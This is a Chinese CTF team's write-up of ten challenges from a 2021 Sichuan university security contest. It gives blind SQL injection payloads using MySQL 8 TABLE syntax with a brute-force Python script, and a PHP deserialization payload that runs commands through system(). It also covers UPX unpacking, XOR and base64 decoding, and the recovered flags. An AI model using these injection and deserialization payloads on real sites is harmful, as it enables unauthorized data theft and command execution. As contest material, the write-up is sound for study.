2021年四川省大学生网络安全技能大赛 writeup

2021年四川省大学生网络安全技能大赛 writeup

一、战队信息

战队名称:为什么各位师傅都这么强

战队编号:lx_2b05de

所属单位:cuit幼儿园

战队成员姓名:crilwa Je3Z w0s1np

二、解题情况

image-20210515203234703

三、 解题过程

题目一 EZSQL

操作内容:

考点:MYSQL8新特性

fuzz之后发现,只能盲注,过滤了select,使用1' and (ascii(substr(database(),1,1)))>num --+ 可以盲注出数据库,但是后面就搞不动了

无select注入,使用的是table语句。

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

这个作用是列出表的全部内容,于是就可以利用这个语句来进行注入。

首先需要知道表名使用MySQL一些自带的特殊表来盲注表

information_schema.TABLESPACES_EXTENSIONS

图片

使用这个语句来一个一个字段的注入出表名,使用这个语句进行注入只能单列查询不能如同联合查询一般使用group_concat来连接要查询的字段。所以只能用limit来限制输出的内容。

图片

使用盲注将所需的表名注入出来
图片

这里两个空位代表着表的两个字段,一张表中有多少个字段就要有多少个空位。

在注入时还有几个规律要注意:

首先需要从第一个字段开始猜解数据,如果不按顺序来得到的数据永真。
图片

图片

其实第二个字段应该为空,所以需要从第一个字段开始猜解。这是坑点之一,也算是一个难点。

第二个难点是猜解字符串时truefalse的出现时机,在最后一位字符之前都是相同的。

在前面的字符猜解时,直到正确的字符出现时,ascii码小于或等于这个字符的查询结果永真。

图片

图片

这个字段的值为mysql因此到m之前的所有字符都为真。
图片

直到n这个字符,也就是大于m的才会为假。

只能使用字符串拼接的方式逐字查询也就是m my mys这样的方式逐步拼接字符串
图片

在最后一个字符时规则又跟之前的字符不同,当查询的字符串到达最后一个字符时,ascii码小于这个字符的永真,大于或等于这个字符的才为假。
图片

图片

最后一个要点,当第一个字符是正确时后面拼接的字符才能正确判断

mysql<=mysql aasda<=mysql gasdassd <=mysql

这三种情况都是真,第一个字符不正确且结果为真的情况下无论怎么拼接字符串,输出的结果都为真。

先爆破表数量再注入猜解表名

1
1'and('{}','')<=(TABLE/**/information_schema.TABLESPACES_EXTENSIONS/**/LIMIT 0,1)--+

图片

图片

图片

得到表名后再猜字段数 ,一个个加空格直到结果为真

1
payload="1'and("","","")<=(TABLE/*\**\*/fakeflag/\*\*/limit/**/0,1)--+"

图片

图片

最后就是从第一个字段开始注数据慢慢找flag了。

1
payload="1'and(4,"fl4gg","{}")<=(TABLE/**/fakeflag/**/limit/**/3,1)--+"

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
from urllib import parse
ascii="/0123456789:;ABCDEFGHIJKLMNOPQRSTUYWXYZ_.abcdefghijklmnopqrstuvwxyz{|}~"
def exp(url):
result=""
tablename=""
j=0
while j<=100:
j+=1
tablename=result
for i in ascii:

payload="1'and(4,\"fl4gg\",\"{}\")<=(TABLE/**/fakeflag/**/limit/**/3,1)--+".format(tablename+i)
#payload="1'and('{}','')<=(TABLE/**/information_schema.TABLESPACES_EXTENSIONS/**/LIMIT 7,1)--+".format(tablename+i)
re=requests.get(url+payload)
#print(url+payload)
if "Enjoy This Game" not in re.text:
result+=chr(ord(i)-1)
print(result)
break
result=result[:-1]+chr(ord(result[-1])+1)
print(result)

url="http://127.0.0.1/?id="
exp(url)

flag值

1
flag{31df1d6dca4683ad8c27acf8c7c04326}

题目二 papapa

操作内容:

扫描目录发现robots.txt

robots.txt有提示main.php
image-20210515135112692
image-20210515140017409

传参a发现了加密的代码

image-20210515140140792

两次base64解码 再 16进制解码得到源码

image-20210515140619900

md5数组绕过,正则那可以-绕过,也可以用%0a绕过

然后知道了system()能命令执行

构造payload

使用ls 看到wobushif0agaaa.txt

cat这个文件

1
2
3
4
5
6
7
8
9
<?php
// 'this_is_a_easy_php'
error_reporting(0);

class NoVu {
public $command='cat wobushif0agaaa.txt';
}
echo urlencode(serialize(new NoVu));
?>

最后的payload

1
/main.php?a[]=1&b[]=2&c=-&d=O%3A4%3A"NoVu"%3A1%3A%7Bs%3A7%3A"command"%3Bs%3A22%3A"cat+wobushif0agaaa.txt"%3B%7D

image-20210515162112926

flag值

flag{73ac78436f0e761123a9888bf24a5c79}

题目三 Misc 我的世界

操作内容:

下载文件后打开我的世界,发现真的是个游戏:

imgimgimgimg

在信标处宝箱内可以得到一本名字为flag1的书,打开后发现以上字符串,初步断定是栅栏加密,先解一下,这里我用的在线工具,当栏数为14时得到

img

很像flag了,尝试提交但是不对,继续在地图内探索,在信标旁内的洞穴内发现有如下:

img

可以看到在信标附近有异常,飞过去看,是这个:
img

结合flag=1+1,经过尝试得到flag,居然是把CTF515加在后面,不得不说这个题确实有点脑洞的感觉。

flag值上传图片失败。错误信息: Comman:

1
flag{scdxsCTF2021422CTF515}

题目四 Misc disk-recover

操作内容:

下载解压题目得到upload.pcapng文件,直接用7-Zip可以解压出一个已损坏的光盘映像文件disk-recovery.img,直接用DiskGenius恢复。

先打开损坏文件:

img

再选中恢复

img

得到了一个.xls文件,

img

img

打开就可以看到flag

flag:

1
flag{E7A10C15E26AA5750070EF756AAA1F7C}

题目五 Misc pack

操作内容:

ctf.exe,pe view打开,可以看到节区名错了

img

upx脱壳,脱壳先修改节区名

脱壳完后,用ResourceHacker.exe打开,看资源,得到flag分为2部分

img

flag:

flag{0bed66d154ccbdd07a6342abf97a5cfc}

题目六 em0ji

操作内容:

下载附件打开
image-20210515141433133

前面四个肯定是flag

所以借此线索进行收集

网上搜索emoji的官方网站

https://www.emojiall.com/zh-hans/emoji/%F0%9F%98%81

image-20210515203137931

查看简短代码的首字母,拼接得到

image-20210515141708869

flag

1
flag{emojiisverysimple}

题目七 easy_re

操作内容:

upx解壳,手动或者upx脱。

分析流程

脚本

脚本

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>

int main()
{
char code[]="'- &:8.4a 3$a&3$ 5```<";
int i;

for(i=0;i<22;i++)
{
printf("%c",code[i]^0x41);
}
}

flag值

1
flag{you are great!!!}

题目八 easy.pyc

操作内容:

pyc转py

1
uncompyle6 -o  C:\Users\hp\Downloads\easy.py C:\Users\hp\Downloads\easy.pyc

然后看流程

脚本

1
2
3
4
5
6
import base64
url = "XlhlX0sMEWNiDxQQDgwTXl5eZRFgFWMOFBATXhMMYw8PD2UMZUk="
str_url = base64.b64decode(url)
for i in str_url:
x=(i-6)^62
print(chr(x),end='')

flag值

1
flag{85cb704683fffa5d1c6043f38c777a8a}

题目九 base变形计.exe

操作内容:

upx脱壳

先得到str2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>

int main(void)
{
int v9[]={0x00000050,0x00000067,0x00000072,0x00000062,0x00000050,0x00000019,0x00000079,0x0000001e,0x00000047,0x0000005e,0x0000004f,0x00000072,0x00000044,0x0000005d,0x0000005f,0x0000001b,0x00000044,0x00000070,0x00000062,0x00000063,0x00000047,0x0000005d,0x00000047,0x00000072,0x00000045,0x0000005e,0x00000050,0x00000063,0x00000047,0x00000070,0x0000005b,0x00000018,0x00000050,0x00000060,0x00000069,0x0000001f,0x00000053,0x0000005d,0x0000004c,0x00000066,0x00000045,0x0000005e,0x00000053,0x00000072,0x00000053,0x00000070,0x0000005b,0x0000007d,0x00000053,0x00000019,0x0000001a,0x00000017};
char str2[]="0000000000000000000000000000000000000000000000000000";
int i;

for(i=0;i<=51;i++)
{
str2[i]=42^v9[i];

printf("%c",str2[i]);
}
}
//zMXHz3S4mteXnwu1nZHImwmXotzImZq2zJC5ywfLotyXyZqWy30=

变表base解密

1
2
3
4
5
6
7
8
9
import base64
import string

str1 = 'zMXHz3S4mteXnwu1nZHImwmXotzImZq2zJC5ywfLotyXyZqWy30='

string1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print(base64.b64decode(str1.translate(str.maketrans(string1, string2))))

flag

1
flag{81115e578b1c196b346f79aae961c40c}

题目十 2021年四川省大学生网络安全技能大赛问卷调查

操作内容:

有手就行

脚本:

flag:

1
flag{ZWNkeHNjdGZpc2cwMGQ}